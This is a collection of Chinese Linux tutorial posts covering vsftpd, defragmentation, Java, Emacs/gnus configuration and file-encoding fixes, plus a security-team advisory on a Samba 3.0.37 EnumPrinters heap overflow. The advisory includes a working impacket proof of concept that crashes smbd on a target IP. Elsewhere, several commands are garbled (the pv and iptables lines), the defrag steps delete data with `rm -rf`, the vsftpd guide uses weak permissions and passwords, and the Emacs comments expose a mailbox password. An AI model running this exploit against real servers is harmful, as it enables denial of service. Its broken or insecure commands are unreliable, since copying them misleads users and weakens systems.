Linux 安装配置 vsftpd 虚拟用户

安装vsftpd

  1. 查看当前系统版本
    cat /etc/redhat-release
  2. 查看是否已经安装vsftpd
    rpm -qa | grep vsftpd
  3. 安装vsftpd ,并设置开机启动
    yum -y install vsftpd
    chkconfig vsftpd on

基于虚拟用户的配置

vi /etc/vsftpd/vsftpd.conf

#服务器独立运行
listen=YES
#设定不允许匿名访问
anonymous_enable=NO
#设定本地用户可以访问。注:如使用虚拟宿主用户,在该项目设定为NO的情况下所有虚拟用户将无法访问
local_enable=YES
#使用户不能离开主目录
chroot_list_enable=YES
#设定支持ASCII模式的上传和下载功能
ascii_upload_enable=YES
ascii_download_enable=YES
#PAM认证文件名。PAM将根据/etc/pam.d/vsftpd进行认证
pam_service_name=vsftpd
#设定启用虚拟用户功能
guest_enable=YES
#指定虚拟用户的宿主用户,CentOS中已经有内置的ftp用户了
guest_username=ftp
#设定虚拟用户个人vsftp的CentOS FTP服务文件存放路径。存放虚拟用户个性的CentOS FTP服务文件(配置文件名=虚拟用户名)
user_config_dir=/etc/vsftpd/vuser_conf
#配置vsftpd日志(可选)
xferlog_enable=YES
xferlog_std_format=YES
xferlog_file=/var/log/xferlog
dual_log_enable=YES
vsftpd_log_file=/var/log/vsftpd.log

虚拟用户认证

  1. 安装Berkeley DB工具,很多人找不到db_load的问题就是没有安装这个包
    yum install db4 db4-utils
  2. 创建用户密码文本,注意奇行是用户名,偶行是密码
    vi /etc/vsftpd/vuser_passwd.txt
    testuser
    123456
  3. 生成虚拟用户认证的db文件
    db_load -T -t hash -f /etc/vsftpd/vuser_passwd.txt /etc/vsftpd/vuser_passwd.db
  4. 编辑认证文件,全部注释掉原来语句,再增加以下两句
    vi /etc/pam.d/vsftpd
    auth required pam_userdb.so db=/etc/vsftpd/vuser_passwd
    account required pam_userdb.so db=/etc/vsftpd/vuser_passwd
  5. 创建虚拟用户配置文件
    mkdir /etc/vsftpd/vuser_conf/
  6. 文件名等于vuser_passwd.txt里面的账户名,否则下面设置无效
    vi /etc/vsftpd/vuser_conf/testuser
  7. 虚拟用户根目录,根据实际情况修改
    local_root=/data/ftp
    write_enable=YES
    anon_umask=022
    anon_world_readable_only=NO
    anon_upload_enable=YES
    anon_mkdir_write_enable=YES
    anon_other_write_enable=YES

设置FTP根目录权限

  1. 最新的vsftpd要求对主目录不能有写的权限所以FTP为755,主目录下面的子目录再设置777权限
    mkdir /data/ftp
    chmod -R 755 /data
    chmod -R 777 /data/ftp
  2. 建立限制用户访问目录的空文件
    touch /etc/vsftpd/chroot_list
  3. 如果启用vsftpd日志需手动建立日志文件
    touch /var/log/xferlog
    touch /var/log/vsftpd.log

配置PASV模式(可选)

vsftpd默认没有开启PASV模式,现在FTP只能通过PORT模式连接,要开启PASV默认需要通过下面的配置。

  1. 在vsftpd.conf末尾添加:
    vi /etc/vsftpd/vsftpd.conf 
    #开启PASV模式
    pasv_enable=YES
    #最小端口号
    pasv_min_port=40000
    #最大端口号
    pasv_max_port=40080
    pasv_promiscuous=YES
  2. 在防火墙配置内开启40000到40080端口
    -A INPUT -m state –state NEW -m tcp -p -dport 40000:40080 -j ACCEPT
  3. 重启iptabls和vsftpd
    service iptables restart
    service vsftpd restart
  4. 完成后就可以使用PASV模式连接你的FTP服务器了

Selinux和防火墙

  • 该关闭的关闭,该放行的放行
    service vsftpd start

常见问题

  • 如果登录时出现
    500 OOPS: priv_sock_get_result. Connection closed by remote host.
  • 这样的错误,需要升级pam
    yum update pam

 

 

Linux系统整理磁盘碎片

除非你使用了一个空间较小的磁盘或频繁读写的空间,磁盘碎片文件在 Linux 系统中很少发生。一些可能会导致 Linux 磁盘碎片产生的情况如下:

  • 在有限的磁盘空间下编辑大型视频文件或 RAW 图片
  • 在较老旧的设备上使用空间很小的磁盘
  • 磁盘空间使用率超过85%
  • 存储过多体积很小的文件

当然,最好的解决办法就是换一块空间较大的硬盘,或者进行手动整理。

检查是否有磁盘碎片

fsck -fn [/path/to/your/partition]

其中[/path/to/your/partition]为我们要检测的路径,检测时会有大量的信息输出,最终将会报告给我们一个磁盘碎片的相关信息。

注意:如果磁盘碎片在 20% 以上,我们就需要进行整理。20% 以内的话,可以暂时不进行。

简单整理文件系统

  1. 备份源磁盘文件
    cp -afv [/path/to/源盘]/* [/path/to/备份文件夹]
  2. 现在我们使用如下命令删除源文件
    sudo rm -rf [/path/to/源盘]/*
    或者
    sudo dd if=/dev/zero of=[/path/to/源盘]/temp-zero.txt
  3. 可以使用 pv 命令来监控 dd 命令的执行过程
    sudo apt-get install pvsudo pv -tpreb | of=of=[/path/to/源盘]/temp-zero.txt
  4. 执行完成后,我们删除这个临时文件
    sudo rm [/path/to/源盘]/temp-zero.txt
  5. 磁盘清零(可靠)后我们将备份好的文件复制回来即可
    cp -afv [/path/to/备份文件夹]/* [/path/to/源盘]

使用e4defrag

  1. 安装e2fsprogs
    sudo apt-get install e2fsprogs
  2. 执行整理
    sudo e4defrag /

CentOS 安装 配置 JAVA

下载 JAVA 程序包:

最新 JDK 下载:http://nh.gs/2s

wget http://download.oracle.com/otn-pub/java/jdk/8u45-b14/jdk-8u45-linux-i586.rpm

CentOS 安装 配置 JAVA

安装 JAVA JDK:

rpm -ivh jdk-8u45-linux-i586.rpm

-ivh:安装显示安装进度–install–verbose–hash

CentOS 安装 配置 JAVA

运行第一个 JAVA 程序:

public class SeaRu{
        public static void main(String []args){
                System.out.print("www.SeaRu.org\n");
        }
}

CentOS 安装 配置 JAVA

Samba 3.0.37 EnumPrinters 堆内存溢出漏洞

知道创宇安全研究团队  niubl:2015.5.20

一、Samba 介绍

Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。SMB(Server Messages Block,信息服务块)是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。通过设置 “NetBIOS over TCP/IP” 使得 Samba 不但能与局域网络主机分享资源,还能与全世界的电脑分享资源。

Samba 由两个主要程序组成,它们是 smbd 和 nmbd。这两个守护进程在服务器启动到停止期间持续运行,功能各异。smbd 和 nmbd 使用的全部配置信息全都保存在smb.conf 文件中。smb.conf 向 smbd 和 nmbd 两个守护进程说明输出什么以便共享,共享输出给谁及如何进行输出。

Samba 提供了基于 CIFS 的四个服务:文件和打印服务、授权与被授权、名字解析、浏览服务。前两项服务由 smbd 提供,后两项服务则由 nmbd 提供。 简单地说,smbd 进程的作用是处理到来的 SMB 软件包,为使用该软件包的资源与 Linux 进行协商,nmbd 进程使主机(或工作站)能浏览 Linux 服务器。

二、Samba 安装

Samba 官网:https://www.samba.org/

下载:https://download.samba.org/pub/samba/stable/samba-3.0.37.tar.gz

安装相关库:

sudo apt-get install build-essential libacl1-dev python-dev libldap2-dev pkg-config gdb libgnutls-dev libblkid-dev libreadline-dev libattr1-dev python-dnspython libpopt-dev libbsd-dev attr docbook-xsl libcups2-dev git

编译:

sudo ./configure –enable-debug

sudo make

sudo make install

写入配置文件:

cp samba/examples/smb.conf.default /usr/local/samba/lib/smb.conf

启动samba:

/usr/local/samba/sbin/smbd

三、漏洞介绍

2015年5月18日,国外安全研究员公布了 Samba 3.0.37 内存崩溃 POC,该 POC 证实,在请求Samba EnumPrinters服务时,可以修改buffer size长度,使memcpy调用产生内存越界拷贝,造成崩溃。

四、影响产品

Samba 3.0.37(已知)。

五、漏洞分析

Samba 在处理 EnumPrinters 时调用 api_spoolss_enumprinters 函数处理,api_spoolss_enumprinters 函数把外界出入的数据包交给 spoolss_io_q_enumprinters 函数处理,如图:

配图1

在 spoolss_io_q_enumprinters 函数中,samba 调用 prs_rpcbuffer_p 函数处理 EnumPrinters 数据结构中 buffer 相关数据,如图:

配图2

prs_rpcbuffer_p 函数调用 prs_rpcbuffer 函数,如图:

配图3

在 prs_rpcbuffer 函数中,prs_rpcbuffer 函数调用 prs_uint32 函数把 ps(即 data 数据)中的 buffer->size 解析出来,赋值给 buffer->size 变量,然后把 buffer->size 变量传递给 prs_append_some_prs_data 函数,然后调用 prs_append_some_prs_data 函数处理 buffer 数据,如图:

配图4

最后来到 prs_append_some_prs_data 函数,prs_append_some_prs_data 函数调用 memcpy 进行内存拷贝,然而 memcpy 的第三个参数 len(即buffer->size)可控,如果构造特殊EnumPrinters数据包即可造成内存越界拷贝。

配图5

六、漏洞验证

6.1 POC

#!/usr/bin/env python
#coding:utf-8
# Author:&nbsp; niubl --<>
# Purpose:
# Created: 2015/5/20

import sys
import impacket

from impacket.dcerpc import printer
from impacket.dcerpc.v5 import transport,nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import *


if len(sys.argv) < 2:
    print("Usage: {} <target_ip>".format(sys.argv[0]))
    sys.exit(1)

target = sys.argv[1]
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\spoolss]' % target)
rpctransport.set_dport(445)

dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(printer.MSRPC_UUID_SPOOLSS)

enumPrinters = "\x0a\x00\x00\x00\x21\xd3\x9f\x98\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\xd8\x50\x60\x00\x21\x33\x33\x73\x00\x00\x00\x01\x42\x42\x06\x20\x0a\x00\x00\x00\x21\xd3\x9f\x28\x06\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x41\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\xd8\x50\x60\x20\x21\x33\x33\x2a\x40\x40\x40\x20\x45\x45\x06\x20\x00\x00"

dce.call(0, enumPrinters)

6.2 验证

运行验证脚本:

配图6

观察smbd进程状态:

配图7

smbd已经崩溃。

七、参考

Ubuntu 即时通讯应用推荐

Ubuntu 即时通讯应用推荐


Pidgin
  官网  多协议,GTK+,XMPP语音,推荐  安装

Empathy  官网  多协议,语音/视频  安装

Kopete  官网  KDE默认,多协议  安装

Web3.0 QQ  官网  腾讯的web3.0网页版,功能更丰富,推荐  

Web Fetion  官网  官方网页版飞信,推荐

amsn  官网  MSN 客户端,Tcl 编写,界面古老,功能尚且稳定。Ubuntu 11.10 及以前的用户使用  安装

Emesene  官网  MSN 客户端,GTK+编写,推荐  安装

KMess  官网  MSN 客户端,KDE 程序,新版本功能强大,文件传输快速稳定,推荐 Ubuntu 12.04 以上用户使用  安装

Openfetion飞信  官网  Openfetion是基于GTK+2.0的IM客户端,使用中国移动飞信v4版本协议,功能比较完善,极力推荐  安装

Skype  官网  常见的语音、视频、电话、聊天、文件传输工具,推荐  安装

iptux  官网  局域网信使, 相当于飞鸽传书,傻瓜型

Quassel  官网  irc聊天软件,QT4,推荐  安装

Konversation  官网  irc聊天软件,QT4  安装

Chatzilla  官网  GTK+,基于Mozilla技术的irc聊天软件,可独立可作为Firefox扩展,推荐

Xchat  官网  GTK+,irc聊天软件  安装

Kvirc  官网  QT4,irc聊天软件  安装

irssi  官网  终端下最常用的irc客户端  安装

HexChat  官网  基于XChat的IRC客户端,多个平台都是自由软件

Emacs 常见问题及其解决方法

在很多论坛里面看到很多兄弟在开始试用emacs的时候遇到很多的困难,很多问题也不知道看到过好次了,所以现在想把使用过程中遇到的问题和解决方法写出来和大家分享一下。

1. 第一个问题最多的可能就是在emacs中显示中文的问题了(也可能是中文输入法在emacs中的问题)反正我们一个一个的来看嘛。

– 如果你的是Emacs21:

首先确定你安装了mule-ucs这个包,然后你需要加入下面的代码:
(set-language-environment ‘Chinese-GB)
(set-keyboard-coding-system ‘euc-cn)
(set-clipboard-coding-system ‘euc-cn)
(set-clipboard-coding-system ‘cn-gb-2312)
(set-terminal-coding-system ‘euc-cn)
(set-buffer-file-coding-system ‘euc-cn)
(set-selection-coding-system ‘euc-cn)
;(set-selection-coding-system ‘chinese-iso-8bit-with-esc)
(set-selection-coding-system ‘cn-gb-2312)
(set-default-coding-systems ‘euc-cn)
(setq locale-coding-system ‘euc-cn)
(modify-coding-system-alist ‘process “*” ‘euc-cn)
(setq default-process-coding-system
‘(euc-cn . euc-cn))
(setq-default pathname-coding-system ‘euc-cn)

– 如果你的是Emacs22和23就不需要了,另外只是Emacs22同样也需要安装mule-ucs,Emacs23就不需要了。

2. Emacs中使用fcitx或者scim。
首先安装这两个输入法和配置方面的我就不说了,另外还有一个地方比较重要的就是/etc/environment的设置,虽然Ubuntu中文帮助文档里面有,但是局限性太强了,不是那么自由,比如在纯英文环境下就无法使用fcitx,并且最初的时候我就是用的那个出了很多莫名其妙的问题,所以就自己写了一个比较通用的,在任何的locale下面都可以很正常的显示和使用任何输入法,这里仅供参考。

(测试环境:Ubuntu 5.10/6.06 , Debian 3.1stable/testing,)
duoxing@smartfish:~$ cat /etc/environment
LANGUAGE=”en_CN:en_US:en_GB:en”
LANG=en_US
LC_CTYPE=zh_CN.GBK
duoxing@smartfish:~$

通过上面的设置后一般都没有什么问题了,当然也有很多朋友遇到的问题就是使用默认的调出输入法的组合键 ctrl+space 显示 mark 的问题,这个也好办,我们禁止这个组合键在emacs中的使用就是了:(global-set-key (kbd “C-SPC”)’nil) 这样设置后应该就没有问题了。

3. 当然Emacs里面能正常显示中文字体了也不一定显示的字体就很让我们满意,比如在Ubuntu里面,Emacs中的字体默认就是楷体的,但是这个字体在emacs里面显示出来真的是太难看了,于是我决定使用simsun的字体,当然,你也可以选择使用其它的字体,只是在相关地方设置就是了,这里我给出我的字体设置,如果你的系统是debian,那就恭喜你了,默认的字体就很好看了。

duoxing@smartfish:~$cat .Xdefaults
Emacs.Font: fontset-song
Emacs.FontsetList: song kai hei lucida
Emacs.Fontset-0:-adobe-courier-medium-r-*-*-14-*-*-*-*-*-fontset-song,\
chinese-gb2312:-*-simsun-medium-r-*–16-*-*-*-*-*-gbk-0,\
mule-unicode-0100-24ff:-misc-fixed-medium-r-normal–16-*-*-*-*-*-iso10646-1,\
korean-ksc5601:-*-medium-r-normal-*-16-*-ksc5601*-*,
chinese-cns11643-5:-*-simsun-medium-r-*–16-*-*-*-*-*-gbk-0,\
chinese-cns11643-6:-*-simsun-medium-r-*–16-*-*-*-*-*-gbk-0,\
chinese-cns11643-7:-*-simsun-medium-r-*–16-*-*-*-*-*-gbk-0
Emacs.Fontset-1:-adobe-courier-medium-r-*-*-14-*-*-*-*-*-fontset-kai,\
chinese-gb2312:-*-simkai-medium-r-*–16-*-*-*-*-*-gbk-0,\
mule-unicode-0100-24ff:-misc-fixed-medium-r-normal–16-*-*-*-*-*-iso10646-1
Emacs.Fontset-2:-adobe-courier-medium-r-*-*-14-*-*-*-*-*-fontset-hei,\
chinese-gb2312:-*-simhei-medium-r-*–16-*-*-*-*-*-gbk-0,\
mule-unicode-0100-24ff:-misc-fixed-medium-r-normal–16-*-*-*-*-*-iso10646-1
Emacs.Fontset-3:-adobe-courier-medium-r-*-*-14-*-*-*-*-*-fontset-lucida,\
ascii:-b&h-lucidatypewriter-medium-r-*-*-12-*-*-*-*-*-iso8859-1,\
chinese-gb2312:-*-simsun-medium-r-*–16-*-*-*-*-*-gbk-0,\
mule-unicode-0100-24ff:-misc-fixed-medium-r-normal–16-*-*-*-*-*-iso10646-1

分开定义的中英文字体,我比较喜欢这样的等宽字体,需要注意的是如果你必须要安装了simsun的字体(使用:xlsfonts |grep simsun 可以查看你是否安装了这个字体)才可以正常的显示。

4. mew的设置。

这个部分我的是用的一个邮箱的,设置也偏向于实用就是了,所以设置的很简洁。

(autoload ‘mew “mew” nil t)
(autoload ‘mew-send “mew” nil t)
(setq mew-use-cached-passwd t)
(setq mew-pop-size 0)
(setq mew-pop-delete nil)
(setq mew-config-alist
‘((“default”
(“name” . “多行”)
(“user” . “laiwei2010”)
(“mail-domain” . “163.com”)
(“pop-server” . “pop3.163.com”)
(“pop-port” . “110”)
(“pop-user” . “laiwei2010”)
(“pop-auth” . pass)
(“smtp-server” . “smtp.163.com”)
(“smtp-port” . “25”)
(“smtp-user” . “laiwei2010”)
(“smtp-auth-list” . (“CRAM-MD5” “LOGIN” “PLAIN”)))))

根据模板,填写你的信息就可以了。

5. 设置gnus阅读新闻组。很多地方可能不是对没个人都实用,根据自己的情况自己去改吧。
;用户资料设定
;(setq user-full-name “duoxing”) ;;外发邮件采用这个名字
;(setq user-mail-address “[email protected]”);;外发的邮件采用这个地址
;设置默认的新闻服务器
;(setq gnus-select-method ‘(nntp “localhost”))
;(setq gnus-select-method ‘(nntp “news.cn99.com”))
(setq gnus-select-method ‘(nntp “news.cn99.com”)
gnus-secondary-select-methods
‘((nnml “”)
;; (nntp “news.individual.net”)
;;(nntp “news.gmane.org”)
(nntp “news.newsfan.net”)
(nntp “news.yaako.com”)))
;;设置显示格式
;(setq gnus-group-line-format “%m%M%5N/%-5R %10G: %D\n”
; gnus-topic-line-format “%i%n %A (%G) %v\n”
; gnus-summary-line-format “:%U%R%B%s%-60=%-20,20f|%4L |\n”)
(setq gnus-group-line-format “%m%M%L%5N/%-5R %25G: %D\n”
gnus-topic-line-format “%i%n %A (%G) %v\n”
gnus-summary-line-format “:%U%R%B%s%-60=%-20,20f|%4L |\n”)
;;设置Article buffer顶部显示的头信息
(setq gnus-visible-headers
“^\\(From:\\|Subject:\\|Date:\\|Followup-To:\\|X-Newsreader:\\|User-Agent:\\|X-Mailer:\\)”)
(if window-system
(setq gnus-sum-thread-tree-root “>>”
gnus-sum-thread-tree-single-indent ” >”
gnus-sum-thread-tree-leaf-with-other “+-> “
gnus-sum-thread-tree-indent ” “
gnus-sum-thread-tree-vertical “|”
gnus-sum-thread-tree-single-leaf “`-> “
gnus-sum-thread-tree-false-root “~>”))
;;改变阅读新闻时窗口的布局”1.0″表示占满剩余空间
;上下各一个窗口
(gnus-add-configuration ‘(article (vertical 1.0 (summary .35 point) (article 1.0))))
;(gnus-add-configuration ‘(article (horizontal 1.0 (summary .30 point) (article 1.0))))
;(gnus-add-configuration
; ‘(article
; (horizontal 1.0
; (vertical 25
; (group 1.0))
; (vertical 1.0
; (summary 0.25 point)
; (article 1.0)))))
;(gnus-add-configuration
; ‘(summary
; (horizontal 1.0
; (vertical 25
; (group 1.0))
; (vertical 1.0
; (summary 1.0 point)))))
;;如果开启了主题视图,只看未读邮件是令人讨厌的
(setq gnus-fetch-old-headers ‘some)
;;下载所有文章
(setq gnus-fetch-old-headers t)
;;自动换行功能
(add-hook ‘message-mode-hook
(lambda ()
(setq fill-column 72);;这里的72是等一行到了72个字符后开始换行
(turn-on-auto-fill)))
(setq message-cite-function ‘message-cite-original-without-signature)
;;设置浏览器显示HTML邮件(w3,w3m,links,lynx,html2text)
(setq mm-text-html-renderer ‘w3m)
;;排序
(setq gnus-thread-sort-functions
‘(
(not gnus-thread-sort-by-date)
(not gnus-thread-sort-by-number)
))
;;同步所有组并发布草稿中的邮件和文章
;(add-hook ‘gnus-group-mode-hook
; (lambda ()
; (define-key gnus-agent-group-mode-map “o” ‘my-gnus-get-new-message)))
;(defun my-gnus-get-new-message ()
; (interactive)
; (gnus-agent-toggle-plugged t)
; (gnus-group-get-new-news);; check news, get mail
; (gnus-agent-fetch-session);; fetch news
; (gnus-group-send-queue);; send mail/news
; (gnus-agent-toggle-plugged nil)
; (message “gnus-agent: mail/news send/fetch Finished. “))
;;自动同步
(setq gnus-asynchronous t)
;; Custome cite-funcition
(setq message-cite-function ‘message-cite-original-without-signature)
(setq gnus-treat-display-smileys t)
(setq gnus-summary-display-arrow nil)
(setq gnus-confirm-mail-reply-to-news t)
(setq gnus-agent-go-online t)
(setq gnus-interactive-exit nil)
(setq gnus-read-active-file nil)
(setq gnus-read-newsrc-file nil)
(setq gnus-save-newsrc-file nil)
(setq gnus-save-killed-list nil)
(setq gnus-agent-short-article 500)
(setq gnus-agent-long-article 1000)
;;打开gnus的cache功能,*保存帖子 Meta-*从缓存中删除
;;查看缓存中的帖子,在summary buffer中 按 Y c
(setq gnus-use-cache ‘passive)
;; 新闻组分组
;; 有时订阅了很多新闻组,堆在一起不好管理。这个功能可以创建目录来分层管理这些新闻组。
;; group topic
(add-hook ‘gnus-group-mode-hook ‘gnus-topic-mode)
;; 现在可以在group buffer里面M-x gnus-topic-create-topic来创建一个”topic”
;; 然后将某个新闻组或者其他topic给C-k掉,再移动到你创建的topic下C-y,就可以
;; 将它们收到这个topic下
;; topic的好处除了分层之外,还有就是可以将不常看的topic折叠起来,不要显示。
;; 就像下面这样
;;
;; [ Gnus — 0 ]
;; [ MAIL — 3 ]…
;; [ NEWS — 0 ]
;; [ emacs — 0 ]
;; *: nntp+binghe.6600.org: gnu.emacs.help
;; *: nntp+binghe.6600.org:gnu.emacs.gnus
;; [人文与社会 — 0]
;; [语言 — 0
;; *: nntp+news.newsfan.net:教育.就业.外语.日语
;; *: nntp+news.newsfan.net:教育.就业.外语.英语
;; [ misc — 0 ]…
;;
;; 参考gnus info -> Group Buffer -> Group Topics
;;标识自己的文章
(defun message-make-message-id()
(concat “<“(message-unique-id)”@meatball.nudt.edu.cn>”))
(setq gnus-score-interactive-default-score 400)
(require ‘gnus-sum)
(defface dz-gnus-own-posting-face nil
“Use this face to display own postings in Summary Buffer”)
(copy-face ‘gnus-summary-high-unread-face ‘dz-gnus-own-posting-face)
(set-face-foreground ‘dz-gnus-own-posting-face “yellow”)
(defface dz-gnus-direct-fup-face nil
“Use this face to display direct fups to my postings.”)
(copy-face ‘gnus-summary-high-unread-face ‘dz-gnus-direct-fup-face)
(set-face-foreground ‘dz-gnus-direct-fup-face “yellow”)
(defface dz-gnus-indirect-fup-face nil
“Use this face to display indirect fups to my postings”)
(copy-face ‘gnus-summary-high-unread-face ‘dz-gnus-indirect-fup-face)
(set-face-foreground ‘dz-gnus-indirect-fup-face “yellow”)
(add-to-list ‘gnus-summary-highlight
‘((and (> score 8500) (eq mark gnus-unread-mark)) . dz-gnus-own-posting-face))
(add-to-list ‘gnus-summary-highlight
‘((and (>= 8500 score) (>= score 7500) (eq mark gnus-unread-mark)) . dz-gnus-direct-fup-face))
(add-to-list ‘gnus-summary-highlight
‘((and (>= 7499 score) (>= score 6500) (eq mark gnus-unread-mark)) . dz-gnus-indirect-fup-face))
;设置邮件服务器
;(setq mail-sources
; ‘((pop :server “pop.163.com”
; :user “mendouer”
; :port “pop3”
; :password “.”)))
(setq pop3-leave-mail-on-server t)
;;设置多个pop邮箱
; (setq mail-sources ‘(
; (pop :server “pop.163.com” :user “william_xuuu” :password “dolemi”)
; (pop :server “pop3.sohu.com” :user “william_xuuu” :password “dolemi”)))
;邮件存放方式
(setq gnus-secondary-select-methods ‘((nnfolder “”)))
(setq user-full-name “duoxing”) ;;外发的邮件采用这个名字
(setq user-mail-address “[email protected]”) ;;外发的邮件采用这个地址
(setq smtpmail-auth-credentials
‘((“smtp.163.com” ;; SMTP服务器
25
“mendouer”
“”)))
(setq smtpmail-default-smtp-server “smtp.163.com”)
(setq smtpmail-smtp-server “smtp.163.com”)
(setq message-send-mail-function ‘smtpmail-send-it)
;中文设定
(setq gnus-default-charset ‘chinese-iso-8bit
gnus-group-name-charset-group-alist ‘((“.*” . chinese-iso-8bit))
gnus-summary-show-article-charset-alist
‘((1 . chinese-iso-8bit)
(2 . gbk)
(3 . big5)
(4 . utf-8))
gnus-newsgroup-ignored-charsets
‘(unknown-8bit x-unknown iso-8859-1))
;有些用web方式发出的邮件里有html,加入下面的设置,只看其中的plain text部分
(eval-after-load “mm-decode”
‘(progn
(add-to-list ‘mm-discouraged-alternatives “text/html”)
(add-to-list ‘mm-discouraged-alternatives “text/richtext”)))
;现在我们可以选择几个自己喜欢的新闻组,作为默认的新闻组
(setq gnus-default-subscribed-newsgroups
‘(“gnu.emacs.help”
“cn.comp.os.linux”
“comp.os.linux.announce”
“comp.os.linux.development.apps”
“comp.os.linux.development.system”
“comp.os.linux.misc”
“comp.os.linux.answers”))
;邮件分类
(setq nnmail-split-methods
‘((“mail.163.com” “^From:.*163.com”)
(“mail.misc” “”)))
;保存自己发送的邮件
(setq gnus-message-archive-group
‘((if (message-news-p)
“nnfolder:mail.sent.news”
“nnfolder:mail.sent.mail”)))
;;~/.newsrc gnus保留这个完全是为了其他的newreader。如果不适用,完全可以删除。
;;并且设置
(setq gnus-read-newsrc-file nil
gnus-save-newsrc-file nil)

暂时这次就整理到这里吧,其它还有很多,比如emms的设置,程序设计语言模式的高亮显示的问题,以后在慢慢整理出来嘛。

Emacs 常见问题及其解决方法

解决文件名mp3标签和文本文件内容的乱码问题

从Windows迁移到Ubuntu的用户,往往会发现自己在Windows在创建/下载/保存的音乐文件出现乱码问题。出现这个问题的原因:一些音乐文件的标签的编码不是Ubuntu使用的UTF-8(一种Unicode编码,适用于所有语言),而是简体中文Windows系统使用的是GBK(一种中国国家标准编码,只适用于简体中文)。所以,只要将标签的编码做一下转换,或者修改音乐播放器默认的标签读取编码,就能解决乱码的问题。

使用图形界面的EasyTAG工具

安装EasyTAG:

sudo apt-get install easytag 
  • 启动EasyTAG
  • 找到首选项–ID3标签设置–修改下面两项:
  • 读取ID3标签时用的字符集,请选择 简体中文GBK (繁体的应该是BIG5)。
  • 写入ID3标签时用的字符集,ID3v2和ID3v1.x都选成UTF-8。(注:依照Linux Wiki的原理分析,Id3v1写为GBK编码更合适)
  • 然后重启EasyTAG,
  • 然后在主界面双击你的歌曲目录,保存,以后你的mp3在播放器都能正常显示中文了。
  • 该选择和该修改的地方
   File:Easytag_screenshot.png
 对照这个
   Image:easytag-首选项.png

基于命令行的工具
  • 需要用到的工具
 sudo apt-get install convmv iconv python-mutagen

要转换文件编码请先进入要转换文件的目录

  • 转换文件名由GBK为UTF8
 convmv -r -f cp936 -t utf8 --notest --nosmart *
  • 转换文件内容由GBK到UTF8
 iconv -f gbk -t utf8 $i > newfile 
  • 转换 mp3 标签编码(下面方法会导致windows和部分移动设备无法正确识别mp3标签,建议使用mid3tagiconv
 find . -iname "*.mp3" -execdir mid3iconv -e GBK {} \;

注意:保证自己对需转换文件有写权限

修改播放器默认编码法

使用工具转换标签的编码对于已有的文件可以解决乱码问题,但是对于新下载的音乐文件,可能需要再次进行转换。所以解决乱码问题的另一种思路是修改音乐播放器默认的标签读取编码。

以用GStreamer作为后端的播放器Rhythmbox为例,可以在系统环境变量(/etc/profile)或用户的环境变量(~/.profile)中增加如下的内容:

 export GST_ID3_TAG_ENCODING=GBK:UTF-8:GB18030
 export GST_ID3V2_TAG_ENCODING=GBK:UTF-8:GB18030

其他播放器可以参考ArchWiki的一个词条中的其他指导。

注:因为修改系统环境变量对系统影响较大,用户可以考虑只修改~/.profile。